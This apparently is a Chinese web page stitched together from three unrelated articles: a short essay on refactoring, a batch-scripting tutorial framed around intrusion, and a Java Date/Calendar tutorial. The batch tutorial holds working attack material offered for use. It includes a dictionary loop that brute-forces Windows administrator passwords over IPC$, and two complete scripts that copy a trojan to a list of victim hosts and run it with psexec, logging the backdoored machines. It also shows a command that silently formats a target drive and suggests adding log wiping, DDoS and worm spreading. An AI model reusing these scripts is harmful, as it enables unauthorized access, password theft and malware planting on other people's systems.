????首先必須意識到我們需要重構! ????1.概念: ????重構(Refactoring)就是在不改變軟件現有功能的基礎上,通過調整程序代碼改善軟件的質量、性能,使其程序的設計模式和架構更趨合理,提高軟件的擴展性和維護性。
????2.為什么要重構? 因為通過重構可以達到以下的目標: ?持續偏糾和改進軟件設計 重構和設計是相輔相成的,它和設計彼此互補。有了重構,你仍然必須做預先的設計,但是不必是最優的設計,只需要一個合理的解決方案就夠了,如果沒有重構、程序設計會逐漸腐敗變質,愈來愈像斷線的風箏,脫韁的野馬無法控制。重構其實就是整理代碼,讓所有帶著發散傾向的代碼回歸本位。 ?使代碼更易為人所理解 Martin?Flower在《重構》中有一句經典的話:"任何一個傻瓜都能寫出計算機可以理解的程序,只有寫出人類容易理解的程序才是優秀的程序員。"對此,筆者感觸很深,有些程序員總是能夠快速編寫出可運行的代碼,但代碼中晦澀的命名使人暈眩得需要緊握坐椅扶手,試想一個新兵到來接手這樣的代碼他會不會想當逃兵呢? 軟件的生命周期往往需要多批程序員來維護,我們往往忽略了這些后來人。為了使代碼容易被他人理解,需要在實現軟件功能時做許多額外的事件,如清晰的排版布局,簡明扼要的注釋,其中命名也是一個重要的方面。一個很好的辦法就是采用暗喻命名,即以對象實現的功能的依據,用形象化或擬人化的手法進行命名,一個很好的態度就是將每個代碼元素像新生兒一樣命名,也許筆者有點命名偏執狂的傾向,如能榮此雅號,將深以此為幸。 對于那些讓人充滿迷茫感甚至誤導性的命名,需要果決地、大刀闊斧地整容,永遠不要手下留情! ?幫助發現隱藏的代碼缺陷 孔子說過:溫故而知新。重構代碼時逼迫你加深理解原先所寫的代碼。筆者常有寫下程序后,卻發生對自己的程序邏輯不甚理解的情景,曾為此驚悚過,后來發現這種癥狀居然是許多程序員常患的"感冒"。當你也發生這樣的情形時,通過重構代碼可以加深對原設計的理解,發現其中的問題和隱患,構建出更好的代碼。 ?從長遠來看,有助于提高編程效率 當你發現解決一個問題變得異常復雜時,往往不是問題本身造成的,而是你用錯了方法,拙劣的設計往往導致臃腫的編碼。 改善設計、提高可讀性、減少缺陷都是為了穩住陣腳。良好的設計是成功的一半,停下來通過重構改進設計,或許會在當前減緩速度,但它帶來的后發優勢卻是不可低估的。
????3.那么我們究竟如何去重構? ????這個問題是個很難全面去把握的問題,為什么這樣說呢?可以大致從三個方面來理解 ????3.1重構與設計 ????重構可以從很大程度上去扶助設計,通常情況下我們的設計不是能貫穿我們軟件開發的全過程的,在這個過程中,我們的需求變更的可能性非常大,當需求變了,設計也得變,但是我們已有的實現怎么辦?全部廢除?顯然不能!這時候就要依靠重構來解決這種矛盾。 ???3.2重構與性能 ???關于重構,有一個常被提出的問題:它對程序的性能將造成怎樣的影響?為了讓軟件易于理解,你常會作出一些使程序運行變慢的修改。這是個重要的問題。我并不贊成為了提高設計的純潔性或把希望寄托于更快的硬件身上,而忽略了程序性能。已經有很多軟件因為速度太慢而被用戶拒絕,日益提高的機器速度亦只不過略微放寬了速度方面的限制而已。但是,換個角度說,雖然重構必然會使軟件運行更慢,但它也使軟件的性能優化更易進行。關鍵在于自己的理解,當你擁有了重構的經驗,你也就有能力在重構的基礎上來改進程序的性能。 ???3.3重構與模式 ???那么真正要實現重構時,我們有哪些具體的方法呢?可以這樣說,重構的準則由很多條,見《重構》這本書。但它不是最終的標準,因為你要是完全按照它的標準來執行,那你也就等于不會重構,重構是一種武器,而真正運用武器的高手是沒有武器勝有武器。只有根據實際的需要,憑借一定的思想,才能實現符合實際的重構,我們不能被一些固定的模式套牢了,這樣你的程序會很僵化。究竟如何把握這個度,需要大家去總結。 ???3.4重構與思想 ???要想實現一個好的重構,不是重構本身,而是我們在寫代碼的時候,思想當中時刻有它的位置存在!非常重要!如果你本身就沒想著要去重構,那么就是有再好的模式供你調用又怎么樣?就是有了好的模式,你不能根據實際的需要去融會貫通,那你做出來的重構有意義么?大家共同思考一下吧。
|
|
批處理教程 ?????????????????????????????????????????? 最近對于批處理技術的探討比較熱,也有不少好的批處理程序發布,但是如果沒有一定的相關知識恐怕不容易看懂和理解這些批處理文件,也就更談不上自己動手編寫了,古語云:“授人以魚,不如授人以漁。”因為網上好像并沒有一個比較完整的教材,所以抽一點時間寫了這片<<簡明批處理教程>>給新手朋友們.也獻給所有為實現網絡的自由與共享而努力的朋友們.
批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為?.bat?或?.cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或腳本),可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們后面要提到的用批處理文件來給系統打補丁、批量植入后門程序等。下面就開始我們批處理學習之旅吧。
一.簡單批處理內部命令簡介
1.Echo?命令 打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo?命令將顯示當前回顯設置。 語法 echo?[{on|off}]?[message] Sample:@echo?off?/?echo?hello?world 在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用>?>>?^)結合來實現輸入一些命令到特定格式的文件中.這將在以后的例子中體現出來。
2.@?命令 表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對方看到你使用的命令啦。 Sample:@echo?off @echo?Now?initializing?the?program,please?wait?a?minite... @format?X:?/q/u/autoset?(format?這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto?命令 指定跳轉到標簽,找到標簽后,程序將處理從下一行開始的命令。 語法:goto?label?(label是參數,指定所要轉向的批處理程序中的行。)? Sample: if?{%1}=={}?goto?noparms if?{%2}=={}?goto?noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面會有詳細的解釋。) @Rem?check?parameters?if?null?show?usage :noparms echo?Usage:?monitor.bat?ServerIP?PortNumber goto?end 標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem?命令 注釋命令,在C語言中相當與/*--------*/,它并不會被執行,只是起一個注釋的作用,便于別人閱讀和你自己日后修改。 Rem?Message Sample:@Rem?Here?is?the?description.
5.Pause?命令 運行?Pause?命令時,將顯示下面的消息:? Press?any?key?to?continue?.?.?.? Sample: @echo?off? :begin? copy?a:*.*?d:\back echo?Please?put?a?new?disk?into?driver?A? pause? goto?begin? 在這個例子中,驅動器?A?中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅動器?A?時,pause?命令會使程序掛起,以便您更換磁盤,然后按任意鍵繼續處理。
6.Call?命令 從一個批處理程序調用另一個批處理程序,并且不終止父批處理程序。call?命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用?Call,它將不會在命令行起作用。 語法 call?[[Drive:][Path]?FileName?[BatchParameters]]?[:label?[arguments]] 參數 [Drive:}[Path]?FileName? 指定要調用的批處理程序的位置和名稱。filename?參數必須具有?.bat?或?.cmd?擴展名。
7.start?命令 調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。 入侵常用參數: MIN?開始時窗口最小化 SEPARATE?在分開的空間內開始?16?位?Windows?程序 HIGH?在?HIGH?優先級類別開始應用程序 REALTIME?在?REALTIME?優先級類別開始應用程序 WAIT?啟動應用程序并等候它結束 parameters?這些為傳送到命令/程序的參數 執行的應用程序是?32-位?GUI?應用程序時,CMD.EXE?不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。 8.choice?命令 choice?使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數,c:后應寫提示可輸入的字符,之間無空格。它的返回碼為1234…… 如:?choice?/c:dme?defrag,mem,end 將顯示 defrag,mem,end[D,M,E]? Sample: Sample.bat的內容如下:? @echo?off? choice?/c:dme?defrag,mem,end? if?errorlevel?3?goto?defrag?(應先判斷數值最高的錯誤碼) if?errorlevel?2?goto?mem? if?errotlevel?1?goto?end?
:defrag? c:\dos\defrag? goto?end? :mem? mem? goto?end? :end? echo?good?bye
此文件運行后,將顯示?defrag,mem,end[D,M,E]??用戶可選擇d?m?e?,然后if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最后都以goto?end將程序跳到end標號處,然后程序將顯示good?bye,文件結束。
9.If?命令
if?表示將判斷是否符合規定的條件,從而決定執行不同的命令。?有三種格式:? 1、if?"參數"?==?"字符串"? 待執行的命令? 參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號) 如if?"%1"=="a"?format?a:? if?{%1}=={}?goto?noparms if?{%2}=={}?goto?noparms
2、if?exist?文件名 ?待執行的命令? 如果有指定的文件,則條件成立,運行命令,否則運行下一句。 如if?exist?config.sys?edit?config.sys?
3、if?errorlevel?/?if?not?errorlevel?數字 ?待執行的命令? 如果返回碼等于指定的數字,則條件成立,運行命令,否則運行下一句。 如if?errorlevel?2?goto?x2? DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。
10.for?命令 for?命令是一個比較復雜的命令,主要用于參數在指定的范圍內循環執行命令。 在批處理文件中使用?FOR?命令時,指定變量請使用?%%variable
for?{%variable|%%variable}?in?(set)?do?command?[?CommandLineOptions] %variable?指定一個單一字母可替換的參數。 (set)?指定一個或一組文件。可以使用通配符。 command?指定對每個文件執行的命令。 command-parameters?為特定命令指定參數或命令行開關。 在批處理文件中使用?FOR?命令時,指定變量請使用?%%variable 而不要用?%variable。變量名稱是區分大小寫的,所以?%i?不同于?%I
如果命令擴展名被啟用,下列額外的?FOR?命令格式會受到 支持:
FOR?/D?%variable?IN?(set)?DO?command?[command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件 名匹配。
FOR?/R?[[drive:]path]?%variable?IN?(set)?DO?command?[command-
檢查以?[drive:]path?為根的目錄樹,指向每個目錄中的 FOR?語句。如果在?/R?后沒有指定目錄,則使用當前 目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。
FOR?/L?%variable?IN?(start,step,end)?DO?command?[command-para
該集表示以增量形式從開始到結束的一個數字序列。 因此,(1,1,5)?將產生序列?1?2?3?4?5,(5,-1,1)?將產生 序列?(5?4?3?2?1)。
FOR?/F?["options"]?%variable?IN?(file-set)?DO?command? FOR?/F?["options"]?%variable?IN?("string")?DO?command? FOR?/F?["options"]?%variable?IN?(command)?DO?command?
或者,如果有?usebackq?選項:
FOR?/F?["options"]?%variable?IN?(file-set)?DO?command? FOR?/F?["options"]?%variable?IN?("string")?DO?command? FOR?/F?["options"]?%variable?IN?(command)?DO?command?
filenameset?為一個或多個文件名。繼續到?filenameset?中的 下一個文件之前,每份文件都已被打開、讀取并經過處理。 處理包括讀取文件,將其分成一行行的文字,然后將每行 解析成零或更多的符號。然后用已找到的符號字符串變量值 調用?For?循環。以默認方式,/F?通過每個文件的每一行中分開 的第一個空白符號。跳過空白行。您可通過指定可選?"options" 參數替代默認解析*作。這個帶引號的字符串包括一個或多個 指定不同解析選項的關鍵字。這些關鍵字為:
eol=c?-?指一個行注釋字符的結尾(就一個) skip=n?-?指在文件開始時忽略的行數。 delims=xxx?-?指分隔符集。這個替換了空格和跳格鍵的 默認分隔符集。 tokens=x,y,m-n?-?指每行的哪一個符號被傳遞到每個迭代 的?for?本身。這會導致額外變量名稱的 格式為一個范圍。通過?nth?符號指定?m 符號字符串中的最后一個字符星號, 那么額外的變量將在最后一個符號解析之 分配并接受行的保留文本。 usebackq?-?指定新語法已在下類情況中使用: 在作為命令執行一個后引號的字符串并且 引號字符為文字字符串命令并允許在?fi 中使用雙引號擴起文件名稱。
sample1: FOR?/F?"eol=;?tokens=2,3*?delims=,?"?%i?in?(myfile.txt)?do?command
會分析?myfile.txt?中的每一行,忽略以分號打頭的那些行,將 每行中的第二個和第三個符號傳遞給?for?程序體;用逗號和/或 空格定界符號。請注意,這個?for?程序體的語句引用?%i?來 取得第二個符號,引用?%j?來取得第三個符號,引用?%k 來取得第三個符號后的所有剩余符號。對于帶有空格的文件 名,您需要用雙引號將文件名括起來。為了用這種方式來使 用雙引號,您還需要使用?usebackq?選項,否則,雙引號會 被理解成是用作定義某個要分析的字符串的。
%i?專門在?for?語句中得到說明,%j?和?%k?是通過 tokens=?選項專門得到說明的。您可以通過?tokens=?一行 指定最多?26?個符號,只要不試圖說明一個高于字母?z?或 Z?的變量。請記住,FOR?變量是單一字母、分大小寫和全局的; 同時不能有?52?個以上都在使用中。
您還可以在相鄰字符串上使用?FOR?/F?分析邏輯;方法是, 用單引號將括號之間的?filenameset?括起來。這樣,該字符 串會被當作一個文件中的一個單一輸入行。
最后,您可以用?FOR?/F?命令來分析命令的輸出。方法是,將 括號之間的?filenameset?變成一個反括字符串。該字符串會 被當作命令行,傳遞到一個子?CMD.EXE,其輸出會被抓進 內存,并被當作文件分析。因此,以下例子:
FOR?/F?"usebackq?delims=="?%i?IN?(`set`)?DO?@echo?%i
會枚舉當前環境中的環境變量名稱。
另外,FOR?變量參照的替換已被增強。您現在可以使用下列 選項語法:
~I?-?刪除任何引號("),擴充?%I %~fI?-?將?%I?擴充到一個完全合格的路徑名 %~dI?-?僅將?%I?擴充到一個驅動器號 %~pI?-?僅將?%I?擴充到一個路徑 %~nI?-?僅將?%I?擴充到一個文件名 %~xI?-?僅將?%I?擴充到一個文件擴展名 %~sI?-?擴充的路徑只含有短名 %~aI?-?將?%I?擴充到文件的文件屬性 %~tI?-?將?%I?擴充到文件的日期/時間 %~zI?-?將?%I?擴充到文件的大小 %~$PATH:I?-?查找列在路徑環境變量的目錄,并將?%I?擴充 到找到的第一個完全合格的名稱。如果環境變量 未被定義,或者沒有找到文件,此組合鍵會擴充 空字符串
可以組合修飾符來得到多重結果:
%~dpI?-?僅將?%I?擴充到一個驅動器號和路徑 %~nxI?-?僅將?%I?擴充到一個文件名和擴展名 %~fsI?-?僅將?%I?擴充到一個帶有短名的完整路徑名 %~dp$PATH:i?-?查找列在路徑環境變量的目錄,并將?%I?擴充 到找到的第一個驅動器號和路徑。 %~ftzaI?-?將?%I?擴充到類似輸出線路的?DIR
在以上例子中,%I?和?PATH?可用其他有效數值代替。%~?語法 用一個有效的?FOR?變量名終止。選取類似?%I?的大寫變量名 比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。 我們用net?use?\\ip\ipc$?"password"?/u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。 最主要的命令是一條:for?/f?i%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%"?/u:"administrator" 用i%來表示admin的密碼,在dict.txt中這個取i%的值用net?use?命令來連接。然后將程序運行結果傳遞給find命令-- for?/f?i%%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%%"?/u:"administrator"|find?":命令成功完成">>D:\ok.txt?,這樣就ko了。
sample3:
你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那么如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用?FOR?命令時,指定變量使用?%%variable) @for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?door.bat?%%i?%%j?%%k tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i?%j?%k。 而cultivate.bat無非就是用net?use命令來建立IPC$連接,并copy木馬+后門到victim,然后用返回碼(If?errorlever?=)來篩選成功種植后門的主機,并echo出來,或者echo到指定的文件。 delims=?表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什么樣的了。應該根據%%i?%%j?%%k表示的對象來排列,一般就是?ip?password?username。 代碼雛形: ---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?--------------------------- @echo?off @if?"%1"==""?goto?usage @for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?IPChack.bat?%%i?%%j?%%k @goto?end :usage @echo?run?this?batch?in?dos?modle.or?just?double-click?it. :end ---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?---------------------------
-------------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?----------------------------- @net?use?\\%1\ipc$?%3?/u:"%2" @if?errorlevel?1?goto?failed @echo?Trying?to?establish?the?IPC$?connection?…………OK @copy?windrv32.exe\\%1\admin$\system32?&&?if?not?errorlevel?1?echo?IP?%1?USER?%2?PWD?%3?>>ko.txt @psexec?\\%1?c:\winnt\system32\windrv32.exe @psexec?\\%1?net?start?windrv32?&&?if?not?errorlevel?1?echo?%1?Backdoored?>>ko.txt :failed @echo?Sorry?can?not?connected?to?the?victim. -----------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?-------------------------------- 這只是一個自動種植后門批處理的雛形,兩個批處理和后門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容 尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.?
No.2? 二.如何在批處理文件中使用參數 批處理中可以使用參數,一般從1%到?9%這九個,當有多個參數時需要用shift來移動,這種情況并不多見,我們就不考慮它了。 sample1:fomat.bat @echo?off if?"%1"=="a"?format?a:? :format @format?a:/q/u/auotset @echo?please?insert?another?disk?to?driver?A. @pause @goto?fomat 這個例子用于連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat?a,呵呵,好像有點畫蛇添足了~^_^ sample2: 當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip?password?username?當著參數來賦給這個批處理,這樣就不用每次都打命令了。 @echo?off @net?use?\\1%\ipc$?"2%"?/u:"3%"?注意哦,這里PASSWORD是第二個參數。 @if?errorlevel?1?echo?connection?failed 怎么樣,使用參數還是比較簡單的吧?你這么帥一定學會了^_^.No.3? 三.如何使用組合命令(Compound?Command)
1.&
Usage:第一條命令?&?第二條命令?[&?第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
Sample: C:\>dir?z:?&?dir?c:\Ex4rch The?system?cannot?find?the?path?specified. Volume?in?drive?C?has?no?label. Volume?Serial?Number?is?0078-59FB
Directory?of?c:\Ex4rch
2002-05-14?23:51? . 2002-05-14?23:51? .. 2002-05-14?23:51?14?sometips.gif
2.&&
Usage:第一條命令?&&?第二條命令?[&&?第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行出錯的命令后將不執行后面的命令,如果一直沒有出錯則一直執行完所有命令;
Sample: C:\>dir?z:?&&?dir?c:\Ex4rch The?system?cannot?find?the?path?specified.
C:\>dir?c:\Ex4rch?&&?dir?z: Volume?in?drive?C?has?no?label. Volume?Serial?Number?is?0078-59FB
Directory?of?c:\Ex4rch
2002-05-14?23:55? . 2002-05-14?23:55? .. 2002-05-14?23:55?14?sometips.gif 1?File(s)?14?bytes 2?Dir(s)?768,671,744?bytes?free The?system?cannot?find?the?path?specified.
在做備份的時候可能會用到這種命令會比較簡單,如: dir?file://192.168.0.1/database/backup.mdb?&&?copy?file://192.168.0.1/database/backup.mdb?E:\backup 如果遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命令。這種用法可以替換IF?exist了?:)
3.||
Usage:第一條命令?||?第二條命令?[||?第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行正確的命令后將不執行后面的命令,如果沒有出現正確的命令則一直執行完所有命令;
Sample: C:\Ex4rch>dir?sometips.gif?||?del?sometips.gif Volume?in?drive?C?has?no?label. Volume?Serial?Number?is?0078-59FB
Directory?of?C:\Ex4rch
2002-05-14?23:55?14?sometips.gif 1?File(s)?14?bytes 0?Dir(s)?768,696,320?bytes?free
組合命令使用的例子: sample: @copy?trojan.exe?\\%1\admin$\system32?&&?if?not?errorlevel?1?echo?IP?%1?USER?%2?PASS?%3?>>victim.txt
|
|
Java中一些關于日期、日期格式、日期的解析和日期的計算
|
?轉貼?? |
|
Java?語言的Calendar(日歷),Date(日期),?和DateFormat(日期格式)組成了Java標準的一個基本但是非常重要的部分.?日期是商業邏輯計算一個關鍵的部分.?所有的開發者都應該能夠計算未來的日期,?定制日期的顯示格式,?并將文本數據解析成日期對象.?我們寫了兩篇文章,?這是第一篇,?我們將大概的學習日期,?日期格式,?日期的解析和日期的計算.?
我們將討論下面的類:?
1、具體類(和抽象類相對)java.util.Date? 2、抽象類java.text.DateFormat?和它的一個具體子類,java.text.SimpleDateFormat? 3、抽象類java.util.Calendar?和它的一個具體子類,java.util.GregorianCalendar?
具體類可以被實例化,?但是抽象類卻不能.?你首先必須實現抽象類的一個具體子類.?
Date?類從Java?開發包(JDK)?1.0?就開始進化,?當時它只包含了幾個取得或者設置一個日期數據的各個部分的方法,?比如說月,?日,?和年.?這些方法現在遭到了批評并且已經被轉移到了Calendar類里去了,?我們將在本文中進一步討論它.?這種改進旨在更好的處理日期數據的國際化格式.?就象在JDK?1.1中一樣,?Date?類實際上只是一個包裹類,?它包含的是一個長整型數據,?表示的是從GMT(格林尼治標準時間)1970年,?1?月?1日00:00:00這一刻之前或者是之后經歷的毫秒數.?
一、創建一個日期對象?
讓我們看一個使用系統的當前日期和時間創建一個日期對象并返回一個長整數的簡單例子.?這個時間通常被稱為Java?虛擬機(JVM)主機環境的系統時間.? //------------------------------------------------------ import?java.util.Date;?
public?class?DateExample1? {? public?static?void?main(String[]?args) {? //?Get?the?system?date/time? Date?date?=?new?Date();?
System.out.println(date.getTime());? }? }? //------------------------------------------------------
在星期六,?2001年9月29日,?下午大約是6:50的樣子,?上面的例子在系統輸出設備上顯示的結果是?1001803809710.?在這個例子中,值得注意的是我們使用了Date?構造函數創建一個日期對象,?這個構造函數沒有接受任何參數.?而這個構造函數在內部使用了System.currentTimeMillis()?方法來從系統獲取日期.?
那么,?現在我們已經知道了如何獲取從1970年1月1日開始經歷的毫秒數了.?我們如何才能以一種用戶明白的格式來顯示這個日期呢??在這里類java.text.SimpleDateFormat?和它的抽象基類?java.text.DateFormat?就派得上用場了.?
二、日期數據的定制格式?
假如我們希望定制日期數據的格式,?比方星期六-9月-29日-2001年.?下面的例子展示了如何完成這個工作:?
//------------------------------------------------------ import?java.text.SimpleDateFormat;? import?java.util.Date;?
public?class?DateExample2? {?
public?static?void?main(String[]?args)? {?
SimpleDateFormat?bartDateFormat?=? new?SimpleDateFormat("EEEE-MMMM-dd-yyyy");?
Date?date?=?new?Date();?
System.out.println(bartDateFormat.format(date));? }? }? //------------------------------------------------------
只要通過向SimpleDateFormat?的構造函數傳遞格式字符串"EEE-MMMM-dd-yyyy",?我們就能夠指明自己想要的格式.?你應該可以看見,?格式字符串中的ASCII?字符告訴格式化函數下面顯示日期數據的哪一個部分.?EEEE是星期,?MMMM是月,?dd是日,?yyyy是年.?字符的個數決定了日期是如何格式化的.傳遞"EE-MM-dd-yy"會顯示?Sat-09-29-01.?請察看Sun?公司的Web?站點獲取日期格式化選項的完整的指示.
三、將文本數據解析成日期對象?
假設我們有一個文本字符串包含了一個格式化了的日期對象,?而我們希望解析這個字符串并從文本日期數據創建一個日期對象.?我們將再次以格式化字符串"MM-dd-yyyy"?調用SimpleDateFormat類,?但是這一次,?我們使用格式化解析而不是生成一個文本日期數據.?我們的例子,?顯示在下面,?將解析文本字符串"9-29-2001"并創建一個值為001736000000?的日期對象.?
//------------------------------------------------------ import?java.text.SimpleDateFormat;? import?java.util.Date;?
public?class?DateExample3? {?
public?static?void?main(String[]?args)? {? //?Create?a?date?formatter?that?can?parse?dates?of? //?the?form?MM-dd-yyyy.? SimpleDateFormat?bartDateFormat?=? new?SimpleDateFormat("MM-dd-yyyy");?
//?Create?a?string?containing?a?text?date?to?be?parsed.? String?dateStringToParse?=?"9-29-2001";?
try?{? //?Parse?the?text?version?of?the?date.? //?We?have?to?perform?the?parse?method?in?a? //?try-catch?construct?in?case?dateStringToParse? //?does?not?contain?a?date?in?the?format?we?are?expecting.? Date?date?=?bartDateFormat.parse(dateStringToParse);?
//?Now?send?the?parsed?date?as?a?long?value? //?to?the?system?output.? System.out.println(date.getTime());? }? catch?(Exception?ex)?{? System.out.println(ex.getMessage());? }? }? }? //------------------------------------------------------
四、使用標準的日期格式化過程?
既然我們已經可以生成和解析定制的日期格式了,?讓我們來看一看如何使用內建的格式化過程.?方法?DateFormat.getDateTimeInstance()?讓我們得以用幾種不同的方法獲得標準的日期格式化過程.?在下面的例子中,?我們獲取了四個內建的日期格式化過程.?它們包括一個短的,?中等的,?長的,?和完整的日期格式.?
//------------------------------------------------------ import?java.text.DateFormat;? import?java.util.Date;?
public?class?DateExample4? {?
public?static?void?main(String[]?args)? {? Date?date?=?new?Date();?
DateFormat?shortDateFormat?=? DateFormat.getDateTimeInstance(? DateFormat.SHORT,? DateFormat.SHORT);?
DateFormat?mediumDateFormat?=? DateFormat.getDateTimeInstance(? DateFormat.MEDIUM,? DateFormat.MEDIUM);?
DateFormat?longDateFormat?=? DateFormat.getDateTimeInstance(? DateFormat.LONG,? DateFormat.LONG);?
DateFormat?fullDateFormat?=? DateFormat.getDateTimeInstance(? DateFormat.FULL,? DateFormat.FULL);?
System.out.println(shortDateFormat.format(date));? System.out.println(mediumDateFormat.format(date));? System.out.println(longDateFormat.format(date));? System.out.println(fullDateFormat.format(date));? }? }? //------------------------------------------------------
注意我們在對?getDateTimeInstance的每次調用中都傳遞了兩個值.?第一個參數是日期風格,?而第二個參數是時間風格.?它們都是基本數據類型int(整型).?考慮到可讀性,?我們使用了DateFormat?類提供的常量:?SHORT,?MEDIUM,?LONG,?和?FULL.?要知道獲取時間和日期格式化過程的更多的方法和選項,?請看Sun?公司Web?站點上的解釋.?
運行我們的例子程序的時候,?它將向標準輸出設備輸出下面的內容:? 9/29/01?8:44?PM? Sep?29,?2001?8:44:45?PM? September?29,?2001?8:44:45?PM?EDT? Saturday,?September?29,?2001?8:44:45?PM?EDT
五、Calendar?類?
我們現在已經能夠格式化并創建一個日期對象了,?但是我們如何才能設置和獲取日期數據的特定部分呢,?比如說小時,?日,?或者分鐘??我們又如何在日期的這些部分加上或者減去值呢??答案是使用Calendar?類.?就如我們前面提到的那樣,?Calendar?類中的方法替代了Date?類中被人唾罵的方法.?
假設你想要設置,?獲取,?和操縱一個日期對象的各個部分,?比方一個月的一天或者是一個星期的一天.?為了演示這個過程,?我們將使用具體的子類?java.util.GregorianCalendar.?考慮下面的例子,?它計算得到下面的第十個星期五是13號.?
//------------------------------------------------------ import?java.util.GregorianCalendar;? import?java.util.Date;? import?java.text.DateFormat;?
public?class?DateExample5? {?
public?static?void?main(String[]?args)? {? DateFormat?dateFormat?=?DateFormat.getDateInstance(DateFormat.FULL);?
//?Create?our?Gregorian?Calendar.? GregorianCalendar?cal?=?new?GregorianCalendar();?
//?Set?the?date?and?time?of?our?calendar? //?to?the?system&s?date?and?time? cal.setTime(new?Date());?
System.out.println("System?Date:?"?+? dateFormat.format(cal.getTime()));?
//?Set?the?day?of?week?to?FRIDAY? cal.set(GregorianCalendar.DAY_OF_WEEK,? GregorianCalendar.FRIDAY);? System.out.println("After?Setting?Day?of?Week?to?Friday:?"?+? dateFormat.format(cal.getTime()));?
int?friday13Counter?=?0;?
while?(friday13Counter?<=?10)? {?
//?Go?to?the?next?Friday?by?adding?7?days.? cal.add(GregorianCalendar.DAY_OF_MONTH,?7);?
//?If?the?day?of?month?is?13?we?have? //?another?Friday?the?13th.? if?(cal.get(GregorianCalendar.DAY_OF_MONTH)?==?13)? {? friday13Counter++;? System.out.println(dateFormat.format(cal.getTime()));? }? }? }? }? //------------------------------------------------------
在這個例子中我們作了有趣的函數調用:? cal.set(GregorianCalendar.DAY_OF_WEEK,? GregorianCalendar.FRIDAY);?
和:? cal.add(GregorianCalendar.DAY_OF_MONTH,?7);?
set?方法能夠讓我們通過簡單的設置星期中的哪一天這個域來將我們的時間調整為星期五.?注意到這里我們使用了常量?DAY_OF_WEEK?和?FRIDAY來增強代碼的可讀性.?add?方法讓我們能夠在日期上加上數值.?潤年的所有復雜的計算都由這個方法自動處理.?
我們這個例子的輸出結果是:? System?Date:?Saturday,?September?29,?2001? 當我們將它設置成星期五以后就成了:?Friday,?September?28,?2001? Friday,?September?13,?2002? Friday,?December?13,?2002? Friday,?June?13,?2003? Friday,?February?13,?2004? Friday,?August?13,?2004? Friday,?May?13,?2005? Friday,?January?13,?2006? Friday,?October?13,?2006? Friday,?April?13,?2007? Friday,?July?13,?2007? Friday,?June?13,?2008?
六、時間掌握在你的手里?
有了這些Date?和Calendar?類的例子,?你應該能夠使用?java.util.Date,?java.text.SimpleDateFormat,?和?java.util.GregorianCalendar?創建許多方法了.? |
|
|